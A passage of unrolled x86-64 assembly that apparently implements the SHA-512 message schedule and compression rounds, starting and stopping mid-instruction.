mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (88)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (96)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (104)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (112)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (120)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (128)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (136)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (144)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (152)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (160)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (168)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (176)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (184)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (192)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (200)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (208)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (216)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (224)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (232)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (240)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (248)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (256)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (264)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (272)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (280)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (288)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx ror $(1), %rcx ror $(19), %rdx xor %rcx, %rax xor %rdx, %rbx ror $(7), %rcx ror $(42), %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (296)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov 